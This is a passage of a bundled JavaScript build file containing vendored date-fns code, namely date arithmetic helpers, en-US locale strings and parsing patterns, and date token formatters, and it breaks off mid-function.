10725 function getTimezoneOffsetInMilliseconds(date) {
10726 const _date = toDate(date);
10727 const utcDate = new Date(
10728 Date.UTC(
10729 _date.getFullYear(),
10730 _date.getMonth(),
10731 _date.getDate(),
10732 _date.getHours(),
10733 _date.getMinutes(),
10734 _date.getSeconds(),
10735 _date.getMilliseconds()
10736 )
10737 );
10738 utcDate.setUTCFullYear(_date.getFullYear());
10739 return +date - +utcDate;
10740 }
10741
10742 // packages/dataviews/node_modules/date-fns/_lib/normalizeDates.js
10743 function normalizeDates(context, ...dates) {
10744 const normalize = constructFrom.bind(
10745 null,
10746 context || dates.find((date) => typeof date === "object")
10747 );
10748 return dates.map(normalize);
10749 }
10750
10751 // packages/dataviews/node_modules/date-fns/startOfDay.js
10752 function startOfDay(date, options) {
10753 const _date = toDate(date, options?.in);
10754 _date.setHours(0, 0, 0, 0);
10755 return _date;
10756 }
10757
10758 // packages/dataviews/node_modules/date-fns/differenceInCalendarDays.js
10759 function differenceInCalendarDays(laterDate, earlierDate, options) {
10760 const [laterDate_, earlierDate_] = normalizeDates(
10761 options?.in,
10762 laterDate,
10763 earlierDate
10764 );
10765 const laterStartOfDay = startOfDay(laterDate_);
10766 const earlierStartOfDay = startOfDay(earlierDate_);
10767 const laterTimestamp = +laterStartOfDay - getTimezoneOffsetInMilliseconds(laterStartOfDay);
10768 const earlierTimestamp = +earlierStartOfDay - getTimezoneOffsetInMilliseconds(earlierStartOfDay);
10769 return Math.round((laterTimestamp - earlierTimestamp) / millisecondsInDay);
10770 }
10771
10772 // packages/dataviews/node_modules/date-fns/startOfISOWeekYear.js
10773 function startOfISOWeekYear(date, options) {
10774 const year = getISOWeekYear(date, options);
10775 const fourthOfJanuary = constructFrom(options?.in || date, 0);
10776 fourthOfJanuary.setFullYear(year, 0, 4);
10777 fourthOfJanuary.setHours(0, 0, 0, 0);
10778 return startOfISOWeek(fourthOfJanuary);
10779 }
10780
10781 // packages/dataviews/node_modules/date-fns/addWeeks.js
10782 function addWeeks(date, amount, options) {
10783 return addDays(date, amount * 7, options);
10784 }
10785
10786 // packages/dataviews/node_modules/date-fns/addYears.js
10787 function addYears(date, amount, options) {
10788 return addMonths(date, amount * 12, options);
10789 }
10790
10791 // packages/dataviews/node_modules/date-fns/isDate.js
10792 function isDate(value) {
10793 return value instanceof Date || typeof value === "object" && Object.prototype.toString.call(value) === "[object Date]";
10794 }
10795
10796 // packages/dataviews/node_modules/date-fns/isValid.js
10797 function isValid(date) {
10798 return !(!isDate(date) && typeof date !== "number" || isNaN(+toDate(date)));
10799 }
10800
10801 // packages/dataviews/node_modules/date-fns/startOfMonth.js
10802 function startOfMonth(date, options) {
10803 const _date = toDate(date, options?.in);
10804 _date.setDate(1);
10805 _date.setHours(0, 0, 0, 0);
10806 return _date;
10807 }
10808
10809 // packages/dataviews/node_modules/date-fns/startOfYear.js
10810 function startOfYear(date, options) {
10811 const date_ = toDate(date, options?.in);
10812 date_.setFullYear(date_.getFullYear(), 0, 1);
10813 date_.setHours(0, 0, 0, 0);
10814 return date_;
10815 }
10816
10817 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/formatDistance.js
10818 var formatDistanceLocale = {
10819 lessThanXSeconds: {
10820 one: "less than a second",
10821 other: "less than {{count}} seconds"
10822 },
10823 xSeconds: {
10824 one: "1 second",
10825 other: "{{count}} seconds"
10826 },
10827 halfAMinute: "half a minute",
10828 lessThanXMinutes: {
10829 one: "less than a minute",
10830 other: "less than {{count}} minutes"
10831 },
10832 xMinutes: {
10833 one: "1 minute",
10834 other: "{{count}} minutes"
10835 },
10836 aboutXHours: {
10837 one: "about 1 hour",
10838 other: "about {{count}} hours"
10839 },
10840 xHours: {
10841 one: "1 hour",
10842 other: "{{count}} hours"
10843 },
10844 xDays: {
10845 one: "1 day",
10846 other: "{{count}} days"
10847 },
10848 aboutXWeeks: {
10849 one: "about 1 week",
10850 other: "about {{count}} weeks"
10851 },
10852 xWeeks: {
10853 one: "1 week",
10854 other: "{{count}} weeks"
10855 },
10856 aboutXMonths: {
10857 one: "about 1 month",
10858 other: "about {{count}} months"
10859 },
10860 xMonths: {
10861 one: "1 month",
10862 other: "{{count}} months"
10863 },
10864 aboutXYears: {
10865 one: "about 1 year",
10866 other: "about {{count}} years"
10867 },
10868 xYears: {
10869 one: "1 year",
10870 other: "{{count}} years"
10871 },
10872 overXYears: {
10873 one: "over 1 year",
10874 other: "over {{count}} years"
10875 },
10876 almostXYears: {
10877 one: "almost 1 year",
10878 other: "almost {{count}} years"
10879 }
10880 };
10881 var formatDistance = (token, count, options) => {
10882 let result;
10883 const tokenValue = formatDistanceLocale[token];
10884 if (typeof tokenValue === "string") {
10885 result = tokenValue;
10886 } else if (count === 1) {
10887 result = tokenValue.one;
10888 } else {
10889 result = tokenValue.other.replace("{{count}}", count.toString());
10890 }
10891 if (options?.addSuffix) {
10892 if (options.comparison && options.comparison > 0) {
10893 return "in " + result;
10894 } else {
10895 return result + " ago";
10896 }
10897 }
10898 return result;
10899 };
10900
10901 // packages/dataviews/node_modules/date-fns/locale/_lib/buildFormatLongFn.js
10902 function buildFormatLongFn(args) {
10903 return (options = {}) => {
10904 const width = options.width ? String(options.width) : args.defaultWidth;
10905 const format6 = args.formats[width] || args.formats[args.defaultWidth];
10906 return format6;
10907 };
10908 }
10909
10910 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/formatLong.js
10911 var dateFormats = {
10912 full: "EEEE, MMMM do, y",
10913 long: "MMMM do, y",
10914 medium: "MMM d, y",
10915 short: "MM/dd/yyyy"
10916 };
10917 var timeFormats = {
10918 full: "h:mm:ss a zzzz",
10919 long: "h:mm:ss a z",
10920 medium: "h:mm:ss a",
10921 short: "h:mm a"
10922 };
10923 var dateTimeFormats = {
10924 full: "{{date}} 'at' {{time}}",
10925 long: "{{date}} 'at' {{time}}",
10926 medium: "{{date}}, {{time}}",
10927 short: "{{date}}, {{time}}"
10928 };
10929 var formatLong = {
10930 date: buildFormatLongFn({
10931 formats: dateFormats,
10932 defaultWidth: "full"
10933 }),
10934 time: buildFormatLongFn({
10935 formats: timeFormats,
10936 defaultWidth: "full"
10937 }),
10938 dateTime: buildFormatLongFn({
10939 formats: dateTimeFormats,
10940 defaultWidth: "full"
10941 })
10942 };
10943
10944 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/formatRelative.js
10945 var formatRelativeLocale = {
10946 lastWeek: "'last' eeee 'at' p",
10947 yesterday: "'yesterday at' p",
10948 today: "'today at' p",
10949 tomorrow: "'tomorrow at' p",
10950 nextWeek: "eeee 'at' p",
10951 other: "P"
10952 };
10953 var formatRelative = (token, _date, _baseDate, _options) => formatRelativeLocale[token];
10954
10955 // packages/dataviews/node_modules/date-fns/locale/_lib/buildLocalizeFn.js
10956 function buildLocalizeFn(args) {
10957 return (value, options) => {
10958 const context = options?.context ? String(options.context) : "standalone";
10959 let valuesArray;
10960 if (context === "formatting" && args.formattingValues) {
10961 const defaultWidth = args.defaultFormattingWidth || args.defaultWidth;
10962 const width = options?.width ? String(options.width) : defaultWidth;
10963 valuesArray = args.formattingValues[width] || args.formattingValues[defaultWidth];
10964 } else {
10965 const defaultWidth = args.defaultWidth;
10966 const width = options?.width ? String(options.width) : args.defaultWidth;
10967 valuesArray = args.values[width] || args.values[defaultWidth];
10968 }
10969 const index = args.argumentCallback ? args.argumentCallback(value) : value;
10970 return valuesArray[index];
10971 };
10972 }
10973
10974 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/localize.js
10975 var eraValues = {
10976 narrow: ["B", "A"],
10977 abbreviated: ["BC", "AD"],
10978 wide: ["Before Christ", "Anno Domini"]
10979 };
10980 var quarterValues = {
10981 narrow: ["1", "2", "3", "4"],
10982 abbreviated: ["Q1", "Q2", "Q3", "Q4"],
10983 wide: ["1st quarter", "2nd quarter", "3rd quarter", "4th quarter"]
10984 };
10985 var monthValues = {
10986 narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D"],
10987 abbreviated: [
10988 "Jan",
10989 "Feb",
10990 "Mar",
10991 "Apr",
10992 "May",
10993 "Jun",
10994 "Jul",
10995 "Aug",
10996 "Sep",
10997 "Oct",
10998 "Nov",
10999 "Dec"
11000 ],
11001 wide: [
11002 "January",
11003 "February",
11004 "March",
11005 "April",
11006 "May",
11007 "June",
11008 "July",
11009 "August",
11010 "September",
11011 "October",
11012 "November",
11013 "December"
11014 ]
11015 };
11016 var dayValues = {
11017 narrow: ["S", "M", "T", "W", "T", "F", "S"],
11018 short: ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"],
11019 abbreviated: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"],
11020 wide: [
11021 "Sunday",
11022 "Monday",
11023 "Tuesday",
11024 "Wednesday",
11025 "Thursday",
11026 "Friday",
11027 "Saturday"
11028 ]
11029 };
11030 var dayPeriodValues = {
11031 narrow: {
11032 am: "a",
11033 pm: "p",
11034 midnight: "mi",
11035 noon: "n",
11036 morning: "morning",
11037 afternoon: "afternoon",
11038 evening: "evening",
11039 night: "night"
11040 },
11041 abbreviated: {
11042 am: "AM",
11043 pm: "PM",
11044 midnight: "midnight",
11045 noon: "noon",
11046 morning: "morning",
11047 afternoon: "afternoon",
11048 evening: "evening",
11049 night: "night"
11050 },
11051 wide: {
11052 am: "a.m.",
11053 pm: "p.m.",
11054 midnight: "midnight",
11055 noon: "noon",
11056 morning: "morning",
11057 afternoon: "afternoon",
11058 evening: "evening",
11059 night: "night"
11060 }
11061 };
11062 var formattingDayPeriodValues = {
11063 narrow: {
11064 am: "a",
11065 pm: "p",
11066 midnight: "mi",
11067 noon: "n",
11068 morning: "in the morning",
11069 afternoon: "in the afternoon",
11070 evening: "in the evening",
11071 night: "at night"
11072 },
11073 abbreviated: {
11074 am: "AM",
11075 pm: "PM",
11076 midnight: "midnight",
11077 noon: "noon",
11078 morning: "in the morning",
11079 afternoon: "in the afternoon",
11080 evening: "in the evening",
11081 night: "at night"
11082 },
11083 wide: {
11084 am: "a.m.",
11085 pm: "p.m.",
11086 midnight: "midnight",
11087 noon: "noon",
11088 morning: "in the morning",
11089 afternoon: "in the afternoon",
11090 evening: "in the evening",
11091 night: "at night"
11092 }
11093 };
11094 var ordinalNumber = (dirtyNumber, _options) => {
11095 const number = Number(dirtyNumber);
11096 const rem100 = number % 100;
11097 if (rem100 > 20 || rem100 < 10) {
11098 switch (rem100 % 10) {
11099 case 1:
11100 return number + "st";
11101 case 2:
11102 return number + "nd";
11103 case 3:
11104 return number + "rd";
11105 }
11106 }
11107 return number + "th";
11108 };
11109 var localize = {
11110 ordinalNumber,
11111 era: buildLocalizeFn({
11112 values: eraValues,
11113 defaultWidth: "wide"
11114 }),
11115 quarter: buildLocalizeFn({
11116 values: quarterValues,
11117 defaultWidth: "wide",
11118 argumentCallback: (quarter) => quarter - 1
11119 }),
11120 month: buildLocalizeFn({
11121 values: monthValues,
11122 defaultWidth: "wide"
11123 }),
11124 day: buildLocalizeFn({
11125 values: dayValues,
11126 defaultWidth: "wide"
11127 }),
11128 dayPeriod: buildLocalizeFn({
11129 values: dayPeriodValues,
11130 defaultWidth: "wide",
11131 formattingValues: formattingDayPeriodValues,
11132 defaultFormattingWidth: "wide"
11133 })
11134 };
11135
11136 // packages/dataviews/node_modules/date-fns/locale/_lib/buildMatchFn.js
11137 function buildMatchFn(args) {
11138 return (string, options = {}) => {
11139 const width = options.width;
11140 const matchPattern = width && args.matchPatterns[width] || args.matchPatterns[args.defaultMatchWidth];
11141 const matchResult = string.match(matchPattern);
11142 if (!matchResult) {
11143 return null;
11144 }
11145 const matchedString = matchResult[0];
11146 const parsePatterns = width && args.parsePatterns[width] || args.parsePatterns[args.defaultParseWidth];
11147 const key = Array.isArray(parsePatterns) ? findIndex(parsePatterns, (pattern) => pattern.test(matchedString)) : (
11148 // [TODO] -- I challenge you to fix the type
11149 findKey(parsePatterns, (pattern) => pattern.test(matchedString))
11150 );
11151 let value;
11152 value = args.valueCallback ? args.valueCallback(key) : key;
11153 value = options.valueCallback ? (
11154 // [TODO] -- I challenge you to fix the type
11155 options.valueCallback(value)
11156 ) : value;
11157 const rest = string.slice(matchedString.length);
11158 return { value, rest };
11159 };
11160 }
11161 function findKey(object, predicate) {
11162 for (const key in object) {
11163 if (Object.prototype.hasOwnProperty.call(object, key) && predicate(object[key])) {
11164 return key;
11165 }
11166 }
11167 return void 0;
11168 }
11169 function findIndex(array, predicate) {
11170 for (let key = 0; key < array.length; key++) {
11171 if (predicate(array[key])) {
11172 return key;
11173 }
11174 }
11175 return void 0;
11176 }
11177
11178 // packages/dataviews/node_modules/date-fns/locale/_lib/buildMatchPatternFn.js
11179 function buildMatchPatternFn(args) {
11180 return (string, options = {}) => {
11181 const matchResult = string.match(args.matchPattern);
11182 if (!matchResult) return null;
11183 const matchedString = matchResult[0];
11184 const parseResult = string.match(args.parsePattern);
11185 if (!parseResult) return null;
11186 let value = args.valueCallback ? args.valueCallback(parseResult[0]) : parseResult[0];
11187 value = options.valueCallback ? options.valueCallback(value) : value;
11188 const rest = string.slice(matchedString.length);
11189 return { value, rest };
11190 };
11191 }
11192
11193 // packages/dataviews/node_modules/date-fns/locale/en-US/_lib/match.js
11194 var matchOrdinalNumberPattern = /^(\d+)(th|st|nd|rd)?/i;
11195 var parseOrdinalNumberPattern = /\d+/i;
11196 var matchEraPatterns = {
11197 narrow: /^(b|a)/i,
11198 abbreviated: /^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,
11199 wide: /^(before christ|before common era|anno domini|common era)/i
11200 };
11201 var parseEraPatterns = {
11202 any: [/^b/i, /^(a|c)/i]
11203 };
11204 var matchQuarterPatterns = {
11205 narrow: /^[1234]/i,
11206 abbreviated: /^q[1234]/i,
11207 wide: /^[1234](th|st|nd|rd)? quarter/i
11208 };
11209 var parseQuarterPatterns = {
11210 any: [/1/i, /2/i, /3/i, /4/i]
11211 };
11212 var matchMonthPatterns = {
11213 narrow: /^[jfmasond]/i,
11214 abbreviated: /^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,
11215 wide: /^(january|february|march|april|may|june|july|august|september|october|november|december)/i
11216 };
11217 var parseMonthPatterns = {
11218 narrow: [
11219 /^j/i,
11220 /^f/i,
11221 /^m/i,
11222 /^a/i,
11223 /^m/i,
11224 /^j/i,
11225 /^j/i,
11226 /^a/i,
11227 /^s/i,
11228 /^o/i,
11229 /^n/i,
11230 /^d/i
11231 ],
11232 any: [
11233 /^ja/i,
11234 /^f/i,
11235 /^mar/i,
11236 /^ap/i,
11237 /^may/i,
11238 /^jun/i,
11239 /^jul/i,
11240 /^au/i,
11241 /^s/i,
11242 /^o/i,
11243 /^n/i,
11244 /^d/i
11245 ]
11246 };
11247 var matchDayPatterns = {
11248 narrow: /^[smtwf]/i,
11249 short: /^(su|mo|tu|we|th|fr|sa)/i,
11250 abbreviated: /^(sun|mon|tue|wed|thu|fri|sat)/i,
11251 wide: /^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i
11252 };
11253 var parseDayPatterns = {
11254 narrow: [/^s/i, /^m/i, /^t/i, /^w/i, /^t/i, /^f/i, /^s/i],
11255 any: [/^su/i, /^m/i, /^tu/i, /^w/i, /^th/i, /^f/i, /^sa/i]
11256 };
11257 var matchDayPeriodPatterns = {
11258 narrow: /^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,
11259 any: /^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i
11260 };
11261 var parseDayPeriodPatterns = {
11262 any: {
11263 am: /^a/i,
11264 pm: /^p/i,
11265 midnight: /^mi/i,
11266 noon: /^no/i,
11267 morning: /morning/i,
11268 afternoon: /afternoon/i,
11269 evening: /evening/i,
11270 night: /night/i
11271 }
11272 };
11273 var match = {
11274 ordinalNumber: buildMatchPatternFn({
11275 matchPattern: matchOrdinalNumberPattern,
11276 parsePattern: parseOrdinalNumberPattern,
11277 valueCallback: (value) => parseInt(value, 10)
11278 }),
11279 era: buildMatchFn({
11280 matchPatterns: matchEraPatterns,
11281 defaultMatchWidth: "wide",
11282 parsePatterns: parseEraPatterns,
11283 defaultParseWidth: "any"
11284 }),
11285 quarter: buildMatchFn({
11286 matchPatterns: matchQuarterPatterns,
11287 defaultMatchWidth: "wide",
11288 parsePatterns: parseQuarterPatterns,
11289 defaultParseWidth: "any",
11290 valueCallback: (index) => index + 1
11291 }),
11292 month: buildMatchFn({
11293 matchPatterns: matchMonthPatterns,
11294 defaultMatchWidth: "wide",
11295 parsePatterns: parseMonthPatterns,
11296 defaultParseWidth: "any"
11297 }),
11298 day: buildMatchFn({
11299 matchPatterns: matchDayPatterns,
11300 defaultMatchWidth: "wide",
11301 parsePatterns: parseDayPatterns,
11302 defaultParseWidth: "any"
11303 }),
11304 dayPeriod: buildMatchFn({
11305 matchPatterns: matchDayPeriodPatterns,
11306 defaultMatchWidth: "any",
11307 parsePatterns: parseDayPeriodPatterns,
11308 defaultParseWidth: "any"
11309 })
11310 };
11311
11312 // packages/dataviews/node_modules/date-fns/locale/en-US.js
11313 var enUS = {
11314 code: "en-US",
11315 formatDistance,
11316 formatLong,
11317 formatRelative,
11318 localize,
11319 match,
11320 options: {
11321 weekStartsOn: 0,
11322 firstWeekContainsDate: 1
11323 }
11324 };
11325
11326 // packages/dataviews/node_modules/date-fns/getDayOfYear.js
11327 function getDayOfYear(date, options) {
11328 const _date = toDate(date, options?.in);
11329 const diff = differenceInCalendarDays(_date, startOfYear(_date));
11330 const dayOfYear = diff + 1;
11331 return dayOfYear;
11332 }
11333
11334 // packages/dataviews/node_modules/date-fns/getISOWeek.js
11335 function getISOWeek(date, options) {
11336 const _date = toDate(date, options?.in);
11337 const diff = +startOfISOWeek(_date) - +startOfISOWeekYear(_date);
11338 return Math.round(diff / millisecondsInWeek) + 1;
11339 }
11340
11341 // packages/dataviews/node_modules/date-fns/getWeekYear.js
11342 function getWeekYear(date, options) {
11343 const _date = toDate(date, options?.in);
11344 const year = _date.getFullYear();
11345 const defaultOptions2 = getDefaultOptions();
11346 const firstWeekContainsDate = options?.firstWeekContainsDate ?? options?.locale?.options?.firstWeekContainsDate ?? defaultOptions2.firstWeekContainsDate ?? defaultOptions2.locale?.options?.firstWeekContainsDate ?? 1;
11347 const firstWeekOfNextYear = constructFrom(options?.in || date, 0);
11348 firstWeekOfNextYear.setFullYear(year + 1, 0, firstWeekContainsDate);
11349 firstWeekOfNextYear.setHours(0, 0, 0, 0);
11350 const startOfNextYear = startOfWeek(firstWeekOfNextYear, options);
11351 const firstWeekOfThisYear = constructFrom(options?.in || date, 0);
11352 firstWeekOfThisYear.setFullYear(year, 0, firstWeekContainsDate);
11353 firstWeekOfThisYear.setHours(0, 0, 0, 0);
11354 const startOfThisYear = startOfWeek(firstWeekOfThisYear, options);
11355 if (+_date >= +startOfNextYear) {
11356 return year + 1;
11357 } else if (+_date >= +startOfThisYear) {
11358 return year;
11359 } else {
11360 return year - 1;
11361 }
11362 }
11363
11364 // packages/dataviews/node_modules/date-fns/startOfWeekYear.js
11365 function startOfWeekYear(date, options) {
11366 const defaultOptions2 = getDefaultOptions();
11367 const firstWeekContainsDate = options?.firstWeekContainsDate ?? options?.locale?.options?.firstWeekContainsDate ?? defaultOptions2.firstWeekContainsDate ?? defaultOptions2.locale?.options?.firstWeekContainsDate ?? 1;
11368 const year = getWeekYear(date, options);
11369 const firstWeek = constructFrom(options?.in || date, 0);
11370 firstWeek.setFullYear(year, 0, firstWeekContainsDate);
11371 firstWeek.setHours(0, 0, 0, 0);
11372 const _date = startOfWeek(firstWeek, options);
11373 return _date;
11374 }
11375
11376 // packages/dataviews/node_modules/date-fns/getWeek.js
11377 function getWeek(date, options) {
11378 const _date = toDate(date, options?.in);
11379 const diff = +startOfWeek(_date, options) - +startOfWeekYear(_date, options);
11380 return Math.round(diff / millisecondsInWeek) + 1;
11381 }
11382
11383 // packages/dataviews/node_modules/date-fns/_lib/addLeadingZeros.js
11384 function addLeadingZeros(number, targetLength) {
11385 const sign = number < 0 ? "-" : "";
11386 const output = Math.abs(number).toString().padStart(targetLength, "0");
11387 return sign + output;
11388 }
11389
11390 // packages/dataviews/node_modules/date-fns/_lib/format/lightFormatters.js
11391 var lightFormatters = {
11392 // Year
11393 y(date, token) {
11394 const signedYear = date.getFullYear();
11395 const year = signedYear > 0 ? signedYear : 1 - signedYear;
11396 return addLeadingZeros(token === "yy" ? year % 100 : year, token.length);
11397 },
11398 // Month
11399 M(date, token) {
11400 const month = date.getMonth();
11401 return token === "M" ? String(month + 1) : addLeadingZeros(month + 1, 2);
11402 },
11403 // Day of the month
11404 d(date, token) {
11405 return addLeadingZeros(date.getDate(), token.length);
11406 },
11407 // AM or PM
11408 a(date, token) {
11409 const dayPeriodEnumValue = date.getHours() / 12 >= 1 ? "pm" : "am";
11410 switch (token) {
11411 case "a":
11412 case "aa":
11413 return dayPeriodEnumValue.toUpperCase();
11414 case "aaa":
11415 return dayPeriodEnumValue;
11416 case "aaaaa":
11417 return dayPeriodEnumValue[0];
11418 case "aaaa":
11419 default:
11420 return dayPeriodEnumValue === "am" ? "a.m." : "p.m.";
11421 }
11422 },
11423 // Hour [1-12]
11424 h(date, token) {
11425 return addLeadingZeros(date.getHours() % 12 || 12, token.length);
11426 },
11427 // Hour [0-23]
11428 H(date, token) {
11429 return addLeadingZeros(date.getHours(), token.length);
11430 },
11431 // Minute
11432 m(date, token) {
11433 return addLeadingZeros(date.getMinutes(), token.length);
11434 },
11435 // Second
11436 s(date, token) {
11437 return addLeadingZeros(date.getSeconds(), token.length);
11438 },
11439 // Fraction of second
11440 S(date, token) {
11441 const numberOfDigits = token.length;
11442 const milliseconds = date.getMilliseconds();
11443 const fractionalSeconds = Math.trunc(
11444 milliseconds * Math.pow(10, numberOfDigits - 3)
11445 );
11446 return addLeadingZeros(fractionalSeconds, token.length);
11447 }
11448 };
11449
11450 // packages/dataviews/node_modules/date-fns/_lib/format/formatters.js
11451 var dayPeriodEnum = {
11452 am: "am",
11453 pm: "pm",
11454 midnight: "midnight",
11455 noon: "noon",
11456 morning: "morning",
11457 afternoon: "afternoon",
11458 evening: "evening",
11459 night: "night"
11460 };
11461 var formatters = {
11462 // Era
11463 G: function(date, token, localize2) {
11464 const era = date.getFullYear() > 0 ? 1 : 0;
11465 switch (token) {
11466 // AD, BC
11467 case "G":
11468 case "GG":
11469 case "GGG":
11470 return localize2.era(era, { width: "abbreviated" });
11471 // A, B
11472 case "GGGGG":
11473 return localize2.era(era, { width: "narrow" });
11474 // Anno Domini, Before Christ
11475 case "GGGG":
11476 default:
11477 return localize2.era(era, { width: "wide" });
11478 }
11479 },
11480 // Year
11481 y: function(date, token, localize2) {
11482 if (token === "yo") {
11483 const signedYear = date.getFullYear();
11484 const year = signedYear > 0 ? signedYear : 1 - signedYear;
11485 return localize2.ordinalNumber(year, { unit: "year" });
11486 }
11487 return lightFormatters.y(date, token);
11488 },
11489 // Local week-numbering year
11490 Y: function(date, token, localize2, options) {
11491 const signedWeekYear = getWeekYear(date, options);
11492 const weekYear = signedWeekYear > 0 ? signedWeekYear : 1 - signedWeekYear;
11493 if (token === "YY") {
11494 const twoDigitYear = weekYear % 100;
11495 return addLeadingZeros(twoDigitYear, 2);
11496 }
11497 if (token === "Yo") {
11498 return localize2.ordinalNumber(weekYear, { unit: "year" });
11499 }
11500 return addLeadingZeros(weekYear, token.length);
11501 },
11502 // ISO week-numbering year
11503 R: function(date, token) {
11504 const isoWeekYear = getISOWeekYear(date);
11505 return addLeadingZeros(isoWeekYear, token.length);
11506 },
11507 // Extended year. This is a single number designating the year of this calendar system.
11508 // The main difference between `y` and `u` localizers are B.C. years:
11509 // | Year | `y` | `u` |
11510 // |------|-----|-----|
11511 // | AC 1 | 1 | 1 |
11512 // | BC 1 | 1 | 0 |
11513 // | BC 2 | 2 | -1 |
11514 // Also `yy` always returns the last two digits of a year,
11515 // while `uu` pads single digit years to 2 characters and returns other years unchanged.
11516 u: function(date, token) {
11517 const year = date.getFullYear();
11518 return addLeadingZeros(year, token.length);
11519 },
11520 // Quarter
11521 Q: function(date, token, localize2) {
11522 const quarter = Math.ceil((date.getMonth() + 1) / 3);
11523 switch (token) {
11524 // 1, 2, 3, 4
11525 case "Q":
11526 return String(quarter);
11527 // 01, 02, 03, 04
11528 case "QQ":
11529 return addLeadingZeros(quarter, 2);
11530 // 1st, 2nd, 3rd, 4th
11531 case "Qo":
11532 return localize2.ordinalNumber(quarter, { unit: "quarter" });
11533 // Q1, Q2, Q3, Q4
11534 case "QQQ":
11535 return localize2.quarter(quarter, {
11536 width: "abbreviated",
11537 context: "formatting"
11538 });
11539 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
11540 case "QQQQQ":
11541 return localize2.quarter(quarter, {
11542 width: "narrow",
11543 context: "formatting"
11544 });
11545 // 1st quarter, 2nd quarter, ...
11546 case "QQQQ":
11547 default:
11548 return localize2.quarter(quarter, {
11549 width: "wide",
11550 context: "formatting"
11551 });
11552 }
11553 },
11554 // Stand-alone quarter
11555 q: function(date, token, localize2) {
11556 const quarter = Math.ceil((date.getMonth() + 1) / 3);
11557 switch (token) {
11558 // 1, 2, 3, 4
11559 case "q":
11560 return String(quarter);
11561 // 01, 02, 03, 04
11562 case "qq":
11563 return addLeadingZeros(quarter, 2);
11564 // 1st, 2nd, 3rd, 4th
11565 case "qo":
11566 return localize2.ordinalNumber(quarter, { unit: "quarter" });
11567 // Q1, Q2, Q3, Q4
11568 case "qqq":
11569 return localize2.quarter(quarter, {
11570 width: "abbreviated",
11571 context: "standalone"
11572 });
11573 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
11574 case "qqqqq":
11575 return localize2.quarter(quarter, {
11576 width: "narrow",
11577 context: "standalone"
11578 });
11579 // 1st quarter, 2nd quarter, ...
11580 case "qqqq":
11581 default:
11582 return localize2.quarter(quarter, {
11583 width: "wide",
11584 context: "standalone"
11585 });
11586 }
11587 },
11588 // Month
11589 M: function(date, token, localize2) {
11590 const month = date.getMonth();
11591 switch (token) {
11592 case "M":
11593 case "MM":
11594 return lightFormatters.M(date, token);
11595 // 1st, 2nd, ..., 12th
11596 case "Mo":
11597 return localize2.ordinalNumber(month + 1, { unit: "month" });
11598 // Jan, Feb, ..., Dec
11599 case "MMM":
11600 return localize2.month(month, {
11601 width: "abbreviated",
11602 context: "formatting"
11603 });
11604 // J, F, ..., D
11605 case "MMMMM":
11606 return localize2.month(month, {
11607 width: "narrow",
11608 context: "formatting"
11609 });
11610 // January, February, ..., December
11611 case "MMMM":
11612 default:
11613 return localize2.month(month, { width: "wide", context: "formatting" });
11614 }
11615 },
11616 // Stand-alone month
11617 L: function(date, token, localize2) {
11618 const month = date.getMonth();
11619 switch (token) {
11620 // 1, 2, ..., 12
11621 case "L":
11622 return String(month + 1);
11623 // 01, 02, ..., 12
11624 case "LL":
11625 return addLeadingZeros(month + 1, 2);
11626 // 1st, 2nd, ..., 12th
11627 case "Lo":
11628 return localize2.ordinalNumber(month + 1, { unit: "month" });
11629 // Jan, Feb, ..., Dec
11630 case "LLL":
11631 return localize2.month(month, {
11632 width: "abbreviated",
11633 context: "standalone"
11634 });
11635 // J, F, ..., D
11636 case "LLLLL":
11637 return localize2.month(month, {
11638 width: "narrow",
11639 context: "standalone"
11640 });
11641 // January, February, ..., December
11642 case "LLLL":
11643 default:
11644 return localize2.month(month, { width: "wide", context: "standalone" });
11645 }
11646 },
11647 // Local week of year
11648 w: function(date, token, localize2, options) {
11649 const week = getWeek(date, options);
11650 if (token === "wo") {
11651 return localize2.ordinalNumber(week, { unit: "week" });
11652 }
11653 return addLeadingZeros(week, token.length);
11654 },
11655 // ISO week of year
11656 I: function(date, token, localize2) {
11657 const isoWeek = getISOWeek(date);
11658 if (token === "Io") {
11659 return localize2.ordinalNumber(isoWeek, { unit: "week" });
11660 }
11661 return addLeadingZeros(isoWeek, token.length);
11662 },
11663 // Day of the month
11664 d: function(date, token, localize2) {
11665 if (token === "do") {
11666 return localize2.ordinalNumber(date.getDate(), { unit: "date" });
11667 }
11668 return lightFormatters.d(date, token);
11669 },
11670 // Day of year
11671 D: function(date, token, localize2) {
11672 const dayOfYear = getDayOfYear(date);
11673 if (token === "Do") {
11674 return localize2.ordinalNumber(dayOfYear, { unit: "dayOfYear" });
11675 }
11676 return addLeadingZeros(dayOfYear, token.length);
11677 },
11678 // Day of week
11679 E: function(date, token, localize2) {
11680 const dayOfWeek = date.getDay();
11681 switch (token) {
11682 // Tue
11683 case "E":
11684 case "EE":
11685 case "EEE":
11686 return localize2.day(dayOfWeek, {
11687 width: "abbreviated",
11688 context: "formatting"
11689 });
11690 // T
11691 case "EEEEE":
11692 return localize2.day(dayOfWeek, {
11693 width: "narrow",
11694 context: "formatting"
11695 });
11696 // Tu
11697 case "EEEEEE":
11698 return localize2.day(dayOfWeek, {
11699 width: "short",
11700 context: "formatting"
11701 });
11702 // Tuesday
11703 case "EEEE":
11704 default:
11705 return localize2.day(dayOfWeek, {
11706 width: "wide",
11707 context: "formatting"
11708 });
11709 }
11710 },
11711 // Local day of week
11712 e: function(date, token, localize2, options) {
11713 const dayOfWeek = date.getDay();
11714 const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;
11715 switch (token) {
11716 // Numerical value (Nth day of week with current locale or weekStartsOn)
11717 case "e":
11718 return String(localDayOfWeek);
11719 // Padded numerical value
11720 case "ee":
11721 return addLeadingZeros(localDayOfWeek, 2);
11722 // 1st, 2nd, ..., 7th
11723 case "eo":
